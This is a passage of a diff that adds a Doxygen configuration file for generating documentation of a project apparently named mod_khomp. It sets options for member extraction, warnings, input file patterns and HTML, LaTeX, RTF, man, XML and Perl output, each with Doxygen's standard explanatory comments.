+# This flag is only useful for Objective-C code. When set to YES local 
+# methods, which are defined in the implementation section but not in 
+# the interface are included in the documentation. 
+# If set to NO (the default) only methods in the interface are included.
+
+EXTRACT_LOCAL_METHODS  = NO
+
+# If this flag is set to YES, the members of anonymous namespaces will be 
+# extracted and appear in the documentation as a namespace called 
+# 'anonymous_namespace{file}', where file will be replaced with the base 
+# name of the file that contains the anonymous namespace. By default 
+# anonymous namespace are hidden.
+
+EXTRACT_ANON_NSPACES   = NO
+
+# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all 
+# undocumented members of documented classes, files or namespaces. 
+# If set to NO (the default) these members will be included in the 
+# various overviews, but no documentation section is generated. 
+# This option has no effect if EXTRACT_ALL is enabled.
+
+HIDE_UNDOC_MEMBERS     = YES
+
+# If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all 
+# undocumented classes that are normally visible in the class hierarchy. 
+# If set to NO (the default) these classes will be included in the various 
+# overviews. This option has no effect if EXTRACT_ALL is enabled.
+
+HIDE_UNDOC_CLASSES     = YES
+
+# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all 
+# friend (class|struct|union) declarations. 
+# If set to NO (the default) these declarations will be included in the 
+# documentation.
+
+HIDE_FRIEND_COMPOUNDS  = NO
+
+# If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any 
+# documentation blocks found inside the body of a function. 
+# If set to NO (the default) these blocks will be appended to the 
+# function's detailed documentation block.
+
+HIDE_IN_BODY_DOCS      = NO
+
+# The INTERNAL_DOCS tag determines if documentation 
+# that is typed after a \internal command is included. If the tag is set 
+# to NO (the default) then the documentation will be excluded. 
+# Set it to YES to include the internal documentation.
+
+INTERNAL_DOCS          = NO
+
+# If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate 
+# file names in lower-case letters. If set to YES upper-case letters are also 
+# allowed. This is useful if you have classes or files whose names only differ 
+# in case and if your file system supports case sensitive file names. Windows 
+# and Mac users are advised to set this option to NO.
+
+CASE_SENSE_NAMES       = NO
+
+# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen 
+# will show members with their full class and namespace scopes in the 
+# documentation. If set to YES the scope will be hidden.
+
+HIDE_SCOPE_NAMES       = NO
+
+# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen 
+# will put a list of the files that are included by a file in the documentation 
+# of that file.
+
+SHOW_INCLUDE_FILES     = YES
+
+# If the INLINE_INFO tag is set to YES (the default) then a tag [inline] 
+# is inserted in the documentation for inline members.
+
+INLINE_INFO            = YES
+
+# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen 
+# will sort the (detailed) documentation of file and class members 
+# alphabetically by member name. If set to NO the members will appear in 
+# declaration order.
+
+SORT_MEMBER_DOCS       = YES
+
+# If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the 
+# brief documentation of file, namespace and class members alphabetically 
+# by member name. If set to NO (the default) the members will appear in 
+# declaration order.
+
+SORT_BRIEF_DOCS        = NO
+
+# If the SORT_GROUP_NAMES tag is set to YES then doxygen will sort the 
+# hierarchy of group names into alphabetical order. If set to NO (the default) 
+# the group names will appear in their defined order.
+
+SORT_GROUP_NAMES       = NO
+
+# If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be 
+# sorted by fully-qualified names, including namespaces. If set to 
+# NO (the default), the class list will be sorted only by class name, 
+# not including the namespace part. 
+# Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES. 
+# Note: This option applies only to the class list, not to the 
+# alphabetical list.
+
+SORT_BY_SCOPE_NAME     = NO
+
+# The GENERATE_TODOLIST tag can be used to enable (YES) or 
+# disable (NO) the todo list. This list is created by putting \todo 
+# commands in the documentation.
+
+GENERATE_TODOLIST      = YES
+
+# The GENERATE_TESTLIST tag can be used to enable (YES) or 
+# disable (NO) the test list. This list is created by putting \test 
+# commands in the documentation.
+
+GENERATE_TESTLIST      = YES
+
+# The GENERATE_BUGLIST tag can be used to enable (YES) or 
+# disable (NO) the bug list. This list is created by putting \bug 
+# commands in the documentation.
+
+GENERATE_BUGLIST       = YES
+
+# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or 
+# disable (NO) the deprecated list. This list is created by putting 
+# \deprecated commands in the documentation.
+
+GENERATE_DEPRECATEDLIST= YES
+
+# The ENABLED_SECTIONS tag can be used to enable conditional 
+# documentation sections, marked by \if sectionname ... \endif.
+
+ENABLED_SECTIONS       = 
+
+# The MAX_INITIALIZER_LINES tag determines the maximum number of lines 
+# the initial value of a variable or define consists of for it to appear in 
+# the documentation. If the initializer consists of more lines than specified 
+# here it will be hidden. Use a value of 0 to hide initializers completely. 
+# The appearance of the initializer of individual variables and defines in the 
+# documentation can be controlled using \showinitializer or \hideinitializer 
+# command in the documentation regardless of this setting.
+
+MAX_INITIALIZER_LINES  = 30
+
+# Set the SHOW_USED_FILES tag to NO to disable the list of files generated 
+# at the bottom of the documentation of classes and structs. If set to YES the 
+# list will mention the files that were used to generate the documentation.
+
+SHOW_USED_FILES        = YES
+
+# If the sources in your project are distributed over multiple directories 
+# then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy 
+# in the documentation. The default is NO.
+
+SHOW_DIRECTORIES       = YES
+
+# Set the SHOW_FILES tag to NO to disable the generation of the Files page. 
+# This will remove the Files entry from the Quick Index and from the 
+# Folder Tree View (if specified). The default is YES.
+
+SHOW_FILES             = YES
+
+# Set the SHOW_NAMESPACES tag to NO to disable the generation of the 
+# Namespaces page.  This will remove the Namespaces entry from the Quick Index 
+# and from the Folder Tree View (if specified). The default is YES.
+
+SHOW_NAMESPACES        = YES
+
+# The FILE_VERSION_FILTER tag can be used to specify a program or script that 
+# doxygen should invoke to get the current version for each file (typically from 
+# the version control system). Doxygen will invoke the program by executing (via 
+# popen()) the command <command> <input-file>, where <command> is the value of 
+# the FILE_VERSION_FILTER tag, and <input-file> is the name of an input file 
+# provided by doxygen. Whatever the program writes to standard output 
+# is used as the file version. See the manual for examples.
+
+FILE_VERSION_FILTER    = 
+
+# The LAYOUT_FILE tag can be used to specify a layout file which will be parsed by 
+# doxygen. The layout file controls the global structure of the generated output files 
+# in an output format independent way. The create the layout file that represents 
+# doxygen's defaults, run doxygen with the -l option. You can optionally specify a 
+# file name after the option, if omitted DoxygenLayout.xml will be used as the name 
+# of the layout file.
+
+LAYOUT_FILE            = 
+
+#---------------------------------------------------------------------------
+# configuration options related to warning and progress messages
+#---------------------------------------------------------------------------
+
+# The QUIET tag can be used to turn on/off the messages that are generated 
+# by doxygen. Possible values are YES and NO. If left blank NO is used.
+
+QUIET                  = NO
+
+# The WARNINGS tag can be used to turn on/off the warning messages that are 
+# generated by doxygen. Possible values are YES and NO. If left blank 
+# NO is used.
+
+WARNINGS               = YES
+
+# If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings 
+# for undocumented members. If EXTRACT_ALL is set to YES then this flag will 
+# automatically be disabled.
+
+WARN_IF_UNDOCUMENTED   = YES
+
+# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for 
+# potential errors in the documentation, such as not documenting some 
+# parameters in a documented function, or documenting parameters that 
+# don't exist or using markup commands wrongly.
+
+WARN_IF_DOC_ERROR      = YES
+
+# This WARN_NO_PARAMDOC option can be abled to get warnings for 
+# functions that are documented, but have no documentation for their parameters 
+# or return value. If set to NO (the default) doxygen will only warn about 
+# wrong or incomplete parameter documentation, but not about the absence of 
+# documentation.
+
+WARN_NO_PARAMDOC       = NO
+
+# The WARN_FORMAT tag determines the format of the warning messages that 
+# doxygen can produce. The string should contain the $file, $line, and $text 
+# tags, which will be replaced by the file and line number from which the 
+# warning originated and the warning text. Optionally the format may contain 
+# $version, which will be replaced by the version of the file (if it could 
+# be obtained via FILE_VERSION_FILTER)
+
+WARN_FORMAT            = "$file:$line: $text"
+
+# The WARN_LOGFILE tag can be used to specify a file to which warning 
+# and error messages should be written. If left blank the output is written 
+# to stderr.
+
+WARN_LOGFILE           = 
+
+#---------------------------------------------------------------------------
+# configuration options related to the input files
+#---------------------------------------------------------------------------
+
+# The INPUT tag can be used to specify the files and/or directories that contain 
+# documented source files. You may enter file names like "myfile.cpp" or 
+# directories like "/usr/src/myproject". Separate the files or directories 
+# with spaces.
+
+INPUT                  = ../ \
+                         ../include \
+                         ../commons \
+                         ../src
+
+# This tag can be used to specify the character encoding of the source files 
+# that doxygen parses. Internally doxygen uses the UTF-8 encoding, which is 
+# also the default input encoding. Doxygen uses libiconv (or the iconv built 
+# into libc) for the transcoding. See http://www.gnu.org/software/libiconv for 
+# the list of possible encodings.
+
+INPUT_ENCODING         = UTF-8
+
+# If the value of the INPUT tag contains directories, you can use the 
+# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp 
+# and *.h) to filter out the source-files in the directories. If left 
+# blank the following patterns are tested: 
+# *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx 
+# *.hpp *.h++ *.idl *.odl *.cs *.php *.php3 *.inc *.m *.mm *.py *.f90
+
+FILE_PATTERNS          = *.c \
+                         *.cc \
+                         *.cxx \
+                         *.cpp \
+                         *.c++ \
+                         *.d \
+                         *.java \
+                         *.ii \
+                         *.ixx \
+                         *.ipp \
+                         *.i++ \
+                         *.inl \
+                         *.h \
+                         *.hh \
+                         *.hxx \
+                         *.hpp \
+                         *.h++ \
+                         *.idl \
+                         *.odl \
+                         *.cs \
+                         *.php \
+                         *.php3 \
+                         *.inc \
+                         *.m \
+                         *.mm \
+                         *.dox \
+                         *.py
+
+# The RECURSIVE tag can be used to turn specify whether or not subdirectories 
+# should be searched for input files as well. Possible values are YES and NO. 
+# If left blank NO is used.
+
+RECURSIVE              = NO
+
+# The EXCLUDE tag can be used to specify files and/or directories that should 
+# excluded from the INPUT source files. This way you can easily exclude a 
+# subdirectory from a directory tree whose root is specified with the INPUT tag.
+
+EXCLUDE                = 
+
+# The EXCLUDE_SYMLINKS tag can be used select whether or not files or 
+# directories that are symbolic links (a Unix filesystem feature) are excluded 
+# from the input.
+
+EXCLUDE_SYMLINKS       = NO
+
+# If the value of the INPUT tag contains directories, you can use the 
+# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude 
+# certain files from those directories. Note that the wildcards are matched 
+# against the file with absolute path, so to exclude all test directories 
+# for example use the pattern */test/*
+
+EXCLUDE_PATTERNS       = 
+
+# The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names 
+# (namespaces, classes, functions, etc.) that should be excluded from the 
+# output. The symbol name can be a fully qualified name, a word, or if the 
+# wildcard * is used, a substring. Examples: ANamespace, AClass, 
+# AClass::ANamespace, ANamespace::*Test
+
+EXCLUDE_SYMBOLS        = 
+
+# The EXAMPLE_PATH tag can be used to specify one or more files or 
+# directories that contain example code fragments that are included (see 
+# the \include command).
+
+EXAMPLE_PATH           = 
+
+# If the value of the EXAMPLE_PATH tag contains directories, you can use the 
+# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp 
+# and *.h) to filter out the source-files in the directories. If left 
+# blank all files are included.
+
+EXAMPLE_PATTERNS       = 
+
+# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be 
+# searched for input files to be used with the \include or \dontinclude 
+# commands irrespective of the value of the RECURSIVE tag. 
+# Possible values are YES and NO. If left blank NO is used.
+
+EXAMPLE_RECURSIVE      = NO
+
+# The IMAGE_PATH tag can be used to specify one or more files or 
+# directories that contain image that are included in the documentation (see 
+# the \image command).
+
+IMAGE_PATH             = 
+
+# The INPUT_FILTER tag can be used to specify a program that doxygen should 
+# invoke to filter for each input file. Doxygen will invoke the filter program 
+# by executing (via popen()) the command <filter> <input-file>, where <filter> 
+# is the value of the INPUT_FILTER tag, and <input-file> is the name of an 
+# input file. Doxygen will then use the output that the filter program writes 
+# to standard output.  If FILTER_PATTERNS is specified, this tag will be 
+# ignored.
+
+INPUT_FILTER           = 
+
+# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern 
+# basis.  Doxygen will compare the file name with each pattern and apply the 
+# filter if there is a match.  The filters are a list of the form: 
+# pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further 
+# info on how filters are used. If FILTER_PATTERNS is empty, INPUT_FILTER 
+# is applied to all files.
+
+FILTER_PATTERNS        = 
+
+# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using 
+# INPUT_FILTER) will be used to filter the input files when producing source 
+# files to browse (i.e. when SOURCE_BROWSER is set to YES).
+
+FILTER_SOURCE_FILES    = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to source browsing
+#---------------------------------------------------------------------------
+
+# If the SOURCE_BROWSER tag is set to YES then a list of source files will 
+# be generated. Documented entities will be cross-referenced with these sources. 
+# Note: To get rid of all source code in the generated output, make sure also 
+# VERBATIM_HEADERS is set to NO.
+
+SOURCE_BROWSER         = NO
+
+# Setting the INLINE_SOURCES tag to YES will include the body 
+# of functions and classes directly in the documentation.
+
+INLINE_SOURCES         = NO
+
+# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct 
+# doxygen to hide any special comment blocks from generated source code 
+# fragments. Normal C and C++ comments will always remain visible.
+
+STRIP_CODE_COMMENTS    = YES
+
+# If the REFERENCED_BY_RELATION tag is set to YES 
+# then for each documented function all documented 
+# functions referencing it will be listed.
+
+REFERENCED_BY_RELATION = YES
+
+# If the REFERENCES_RELATION tag is set to YES 
+# then for each documented function all documented entities 
+# called/used by that function will be listed.
+
+REFERENCES_RELATION    = YES
+
+# If the REFERENCES_LINK_SOURCE tag is set to YES (the default) 
+# and SOURCE_BROWSER tag is set to YES, then the hyperlinks from 
+# functions in REFERENCES_RELATION and REFERENCED_BY_RELATION lists will 
+# link to the source code.  Otherwise they will link to the documentation.
+
+REFERENCES_LINK_SOURCE = YES
+
+# If the USE_HTAGS tag is set to YES then the references to source code 
+# will point to the HTML generated by the htags(1) tool instead of doxygen 
+# built-in source browser. The htags tool is part of GNU's global source 
+# tagging system (see http://www.gnu.org/software/global/global.html). You 
+# will need version 4.8.6 or higher.
+
+USE_HTAGS              = NO
+
+# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen 
+# will generate a verbatim copy of the header file for each class for 
+# which an include is specified. Set to NO to disable this.
+
+VERBATIM_HEADERS       = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to the alphabetical class index
+#---------------------------------------------------------------------------
+
+# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index 
+# of all compounds will be generated. Enable this if the project 
+# contains a lot of classes, structs, unions or interfaces.
+
+ALPHABETICAL_INDEX     = YES
+
+# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then 
+# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns 
+# in which this list will be split (can be a number in the range [1..20])
+
+COLS_IN_ALPHA_INDEX    = 1
+
+# In case all classes in a project start with a common prefix, all 
+# classes will be put under the same header in the alphabetical index. 
+# The IGNORE_PREFIX tag can be used to specify one or more prefixes that 
+# should be ignored while generating the index headers.
+
+IGNORE_PREFIX          = 
+
+#---------------------------------------------------------------------------
+# configuration options related to the HTML output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_HTML tag is set to YES (the default) Doxygen will 
+# generate HTML output.
+
+GENERATE_HTML          = YES
+
+# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. 
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# put in front of it. If left blank `html' will be used as the default path.
+
+HTML_OUTPUT            = html
+
+# The HTML_FILE_EXTENSION tag can be used to specify the file extension for 
+# each generated HTML page (for example: .htm,.php,.asp). If it is left blank 
+# doxygen will generate files with .html extension.
+
+HTML_FILE_EXTENSION    = .html
+
+# The HTML_HEADER tag can be used to specify a personal HTML header for 
+# each generated HTML page. If it is left blank doxygen will generate a 
+# standard header.
+
+HTML_HEADER            = 
+
+# The HTML_FOOTER tag can be used to specify a personal HTML footer for 
+# each generated HTML page. If it is left blank doxygen will generate a 
+# standard footer.
+
+HTML_FOOTER            = 
+
+# The HTML_STYLESHEET tag can be used to specify a user-defined cascading 
+# style sheet that is used by each HTML page. It can be used to 
+# fine-tune the look of the HTML output. If the tag is left blank doxygen 
+# will generate a default style sheet. Note that doxygen will try to copy 
+# the style sheet file to the HTML output directory, so don't put your own 
+# stylesheet in the HTML output directory as well, or it will be erased!
+
+HTML_STYLESHEET        = 
+
+# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes, 
+# files or namespaces will be aligned in HTML using tables. If set to 
+# NO a bullet list will be used.
+
+HTML_ALIGN_MEMBERS     = YES
+
+# If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML 
+# documentation will contain sections that can be hidden and shown after the 
+# page has loaded. For this to work a browser that supports 
+# JavaScript and DHTML is required (for instance Mozilla 1.0+, Firefox 
+# Netscape 6.0+, Internet explorer 5.0+, Konqueror, or Safari).
+
+HTML_DYNAMIC_SECTIONS  = NO
+
+# If the GENERATE_DOCSET tag is set to YES, additional index files 
+# will be generated that can be used as input for Apple's Xcode 3 
+# integrated development environment, introduced with OSX 10.5 (Leopard). 
+# To create a documentation set, doxygen will generate a Makefile in the 
+# HTML output directory. Running make will produce the docset in that 
+# directory and running "make install" will install the docset in 
+# ~/Library/Developer/Shared/Documentation/DocSets so that Xcode will find 
+# it at startup. 
+# See http://developer.apple.com/tools/creatingdocsetswithdoxygen.html for more information.
+
+GENERATE_DOCSET        = NO
+
+# When GENERATE_DOCSET tag is set to YES, this tag determines the name of the 
+# feed. A documentation feed provides an umbrella under which multiple 
+# documentation sets from a single provider (such as a company or product suite) 
+# can be grouped.
+
+DOCSET_FEEDNAME        = "Doxygen generated docs"
+
+# When GENERATE_DOCSET tag is set to YES, this tag specifies a string that 
+# should uniquely identify the documentation set bundle. This should be a 
+# reverse domain-name style string, e.g. com.mycompany.MyDocSet. Doxygen 
+# will append .docset to the name.
+
+DOCSET_BUNDLE_ID       = org.doxygen.Project
+
+# If the GENERATE_HTMLHELP tag is set to YES, additional index files 
+# will be generated that can be used as input for tools like the 
+# Microsoft HTML help workshop to generate a compiled HTML help file (.chm) 
+# of the generated HTML documentation.
+
+GENERATE_HTMLHELP      = NO
+
+# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can 
+# be used to specify the file name of the resulting .chm file. You 
+# can add a path in front of the file if the result should not be 
+# written to the html output directory.
+
+CHM_FILE               = mod_khomp.chm
+
+# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can 
+# be used to specify the location (absolute path including file name) of 
+# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run 
+# the HTML help compiler on the generated index.hhp.
+
+HHC_LOCATION           = 
+
+# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag 
+# controls if a separate .chi index file is generated (YES) or that 
+# it should be included in the master .chm file (NO).
+
+GENERATE_CHI           = YES
+
+# If the GENERATE_HTMLHELP tag is set to YES, the CHM_INDEX_ENCODING 
+# is used to encode HtmlHelp index (hhk), content (hhc) and project file 
+# content.
+
+CHM_INDEX_ENCODING     = 
+
+# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag 
+# controls whether a binary table of contents is generated (YES) or a 
+# normal table of contents (NO) in the .chm file.
+
+BINARY_TOC             = NO
+
+# The TOC_EXPAND flag can be set to YES to add extra items for group members 
+# to the contents of the HTML help documentation and to the tree view.
+
+TOC_EXPAND             = NO
+
+# If the GENERATE_QHP tag is set to YES and both QHP_NAMESPACE and QHP_VIRTUAL_FOLDER 
+# are set, an additional index file will be generated that can be used as input for 
+# Qt's qhelpgenerator to generate a Qt Compressed Help (.qch) of the generated 
+# HTML documentation.
+
+GENERATE_QHP           = NO
+
+# If the QHG_LOCATION tag is specified, the QCH_FILE tag can 
+# be used to specify the file name of the resulting .qch file. 
+# The path specified is relative to the HTML output folder.
+
+QCH_FILE               = 
+
+# The QHP_NAMESPACE tag specifies the namespace to use when generating 
+# Qt Help Project output. For more information please see 
+# http://doc.trolltech.com/qthelpproject.html#namespace
+
+QHP_NAMESPACE          = 
+
+# The QHP_VIRTUAL_FOLDER tag specifies the namespace to use when generating 
+# Qt Help Project output. For more information please see 
+# http://doc.trolltech.com/qthelpproject.html#virtual-folders
+
+QHP_VIRTUAL_FOLDER     = doc
+
+# If QHP_CUST_FILTER_NAME is set, it specifies the name of a custom filter to add. 
+# For more information please see 
+# http://doc.trolltech.com/qthelpproject.html#custom-filters
+
+QHP_CUST_FILTER_NAME   = 
+
+# The QHP_CUST_FILT_ATTRS tag specifies the list of the attributes of the custom filter to add.For more information please see 
+# <a href="http://doc.trolltech.com/qthelpproject.html#custom-filters">Qt Help Project / Custom Filters</a>.
+
+QHP_CUST_FILTER_ATTRS  = 
+
+# The QHP_SECT_FILTER_ATTRS tag specifies the list of the attributes this project's 
+# filter section matches. 
+# <a href="http://doc.trolltech.com/qthelpproject.html#filter-attributes">Qt Help Project / Filter Attributes</a>.
+
+QHP_SECT_FILTER_ATTRS  = 
+
+# If the GENERATE_QHP tag is set to YES, the QHG_LOCATION tag can 
+# be used to specify the location of Qt's qhelpgenerator. 
+# If non-empty doxygen will try to run qhelpgenerator on the generated 
+# .qhp file.
+
+QHG_LOCATION           = 
+
+# The DISABLE_INDEX tag can be used to turn on/off the condensed index at 
+# top of each HTML page. The value NO (the default) enables the index and 
+# the value YES disables it.
+
+DISABLE_INDEX          = NO
+
+# This tag can be used to set the number of enum values (range [1..20]) 
+# that doxygen will group on one line in the generated HTML documentation.
+
+ENUM_VALUES_PER_LINE   = 4
+
+# The GENERATE_TREEVIEW tag is used to specify whether a tree-like index 
+# structure should be generated to display hierarchical information. 
+# If the tag value is set to FRAME, a side panel will be generated 
+# containing a tree-like index structure (just like the one that 
+# is generated for HTML Help). For this to work a browser that supports 
+# JavaScript, DHTML, CSS and frames is required (for instance Mozilla 1.0+, 
+# Netscape 6.0+, Internet explorer 5.0+, or Konqueror). Windows users are 
+# probably better off using the HTML help feature. Other possible values 
+# for this tag are: HIERARCHIES, which will generate the Groups, Directories, 
+# and Class Hierarchy pages using a tree view instead of an ordered list; 
+# ALL, which combines the behavior of FRAME and HIERARCHIES; and NONE, which 
+# disables this behavior completely. For backwards compatibility with previous 
+# releases of Doxygen, the values YES and NO are equivalent to FRAME and NONE 
+# respectively.
+
+GENERATE_TREEVIEW      = YES
+
+# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be 
+# used to set the initial width (in pixels) of the frame in which the tree 
+# is shown.
+
+TREEVIEW_WIDTH         = 250
+
+# Use this tag to change the font size of Latex formulas included 
+# as images in the HTML documentation. The default is 10. Note that 
+# when you change the font size after a successful doxygen run you need 
+# to manually remove any form_*.png images from the HTML output directory 
+# to force them to be regenerated.
+
+FORMULA_FONTSIZE       = 10
+
+#---------------------------------------------------------------------------
+# configuration options related to the LaTeX output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will 
+# generate Latex output.
+
+GENERATE_LATEX         = NO
+
+# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. 
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# put in front of it. If left blank `latex' will be used as the default path.
+
+LATEX_OUTPUT           = latex
+
+# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be 
+# invoked. If left blank `latex' will be used as the default command name.
+
+LATEX_CMD_NAME         = latex
+
+# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to 
+# generate index for LaTeX. If left blank `makeindex' will be used as the 
+# default command name.
+
+MAKEINDEX_CMD_NAME     = makeindex
+
+# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact 
+# LaTeX documents. This may be useful for small projects and may help to 
+# save some trees in general.
+
+COMPACT_LATEX          = NO
+
+# The PAPER_TYPE tag can be used to set the paper type that is used 
+# by the printer. Possible values are: a4, a4wide, letter, legal and 
+# executive. If left blank a4wide will be used.
+
+PAPER_TYPE             = a4wide
+
+# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX 
+# packages that should be included in the LaTeX output.
+
+EXTRA_PACKAGES         = 
+
+# The LATEX_HEADER tag can be used to specify a personal LaTeX header for 
+# the generated latex document. The header should contain everything until 
+# the first chapter. If it is left blank doxygen will generate a 
+# standard header. Notice: only use this tag if you know what you are doing!
+
+LATEX_HEADER           = 
+
+# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated 
+# is prepared for conversion to pdf (using ps2pdf). The pdf file will 
+# contain links (just like the HTML output) instead of page references 
+# This makes the output suitable for online browsing using a pdf viewer.
+
+PDF_HYPERLINKS         = NO
+
+# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of 
+# plain latex in the generated Makefile. Set this option to YES to get a 
+# higher quality PDF documentation.
+
+USE_PDFLATEX           = NO
+
+# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode. 
+# command to the generated LaTeX files. This will instruct LaTeX to keep 
+# running if errors occur, instead of asking the user for help. 
+# This option is also used when generating formulas in HTML.
+
+LATEX_BATCHMODE        = NO
+
+# If LATEX_HIDE_INDICES is set to YES then doxygen will not 
+# include the index chapters (such as File Index, Compound Index, etc.) 
+# in the output.
+
+LATEX_HIDE_INDICES     = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to the RTF output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output 
+# The RTF output is optimized for Word 97 and may not look very pretty with 
+# other RTF readers or editors.
+
+GENERATE_RTF           = NO
+
+# The RTF_OUTPUT tag is used to specify where the RTF docs will be put. 
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# put in front of it. If left blank `rtf' will be used as the default path.
+
+RTF_OUTPUT             = rtf
+
+# If the COMPACT_RTF tag is set to YES Doxygen generates more compact 
+# RTF documents. This may be useful for small projects and may help to 
+# save some trees in general.
+
+COMPACT_RTF            = NO
+
+# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated 
+# will contain hyperlink fields. The RTF file will 
+# contain links (just like the HTML output) instead of page references. 
+# This makes the output suitable for online browsing using WORD or other 
+# programs which support those fields. 
+# Note: wordpad (write) and others do not support links.
+
+RTF_HYPERLINKS         = NO
+
+# Load stylesheet definitions from file. Syntax is similar to doxygen's 
+# config file, i.e. a series of assignments. You only have to provide 
+# replacements, missing definitions are set to their default value.
+
+RTF_STYLESHEET_FILE    = 
+
+# Set optional variables used in the generation of an rtf document. 
+# Syntax is similar to doxygen's config file.
+
+RTF_EXTENSIONS_FILE    = 
+
+#---------------------------------------------------------------------------
+# configuration options related to the man page output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_MAN tag is set to YES (the default) Doxygen will 
+# generate man pages
+
+GENERATE_MAN           = NO
+
+# The MAN_OUTPUT tag is used to specify where the man pages will be put. 
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# put in front of it. If left blank `man' will be used as the default path.
+
+MAN_OUTPUT             = man
+
+# The MAN_EXTENSION tag determines the extension that is added to 
+# the generated man pages (default is the subroutine's section .3)
+
+MAN_EXTENSION          = .3
+
+# If the MAN_LINKS tag is set to YES and Doxygen generates man output, 
+# then it will generate one additional man file for each entity 
+# documented in the real man page(s). These additional files 
+# only source the real man page, but without them the man command 
+# would be unable to find the correct page. The default is NO.
+
+MAN_LINKS              = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to the XML output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_XML tag is set to YES Doxygen will 
+# generate an XML file that captures the structure of 
+# the code including all documentation.
+
+GENERATE_XML           = NO
+
+# The XML_OUTPUT tag is used to specify where the XML pages will be put. 
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# put in front of it. If left blank `xml' will be used as the default path.
+
+XML_OUTPUT             = xml
+
+# The XML_SCHEMA tag can be used to specify an XML schema, 
+# which can be used by a validating XML parser to check the 
+# syntax of the XML files.
+
+XML_SCHEMA             = 
+
+# The XML_DTD tag can be used to specify an XML DTD, 
+# which can be used by a validating XML parser to check the 
+# syntax of the XML files.
+
+XML_DTD                = 
+
+# If the XML_PROGRAMLISTING tag is set to YES Doxygen will 
+# dump the program listings (including syntax highlighting 
+# and cross-referencing information) to the XML output. Note that 
+# enabling this will significantly increase the size of the XML output.
+
+XML_PROGRAMLISTING     = YES
+
+#---------------------------------------------------------------------------
+# configuration options for the AutoGen Definitions output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will 
+# generate an AutoGen Definitions (see autogen.sf.net) file 
+# that captures the structure of the code including all 
+# documentation. Note that this feature is still experimental 
+# and incomplete at the moment.
+
+GENERATE_AUTOGEN_DEF   = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to the Perl module output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_PERLMOD tag is set to YES Doxygen will 
+# generate a Perl module file that captures the structure of 
+# the code including all documentation. Note that this 
+# feature is still experimental and incomplete at the 
+# moment.
+
+GENERATE_PERLMOD       = NO
+
+# If the PERLMOD_LATEX tag is set to YES Doxygen will generate 
+# the necessary Makefile rules, Perl scripts and LaTeX code to be able 
+# to generate PDF and DVI output from the Perl module output.
+
+PERLMOD_LATEX          = NO
+
+# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be 
+# nicely formatted so it can be parsed by a human reader.  This is useful 
+# if you want to understand what is going on.  On the other hand, if this 
+# tag is set to NO the size of the Perl module output will be much smaller 
+# and Perl will parse it just the same.
+
+PERLMOD_PRETTY         = YES
+
+# The names of the make variables in the generated doxyrules.make file 
+# are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX. 
+# This is useful so different doxyrules.make files included by the same 
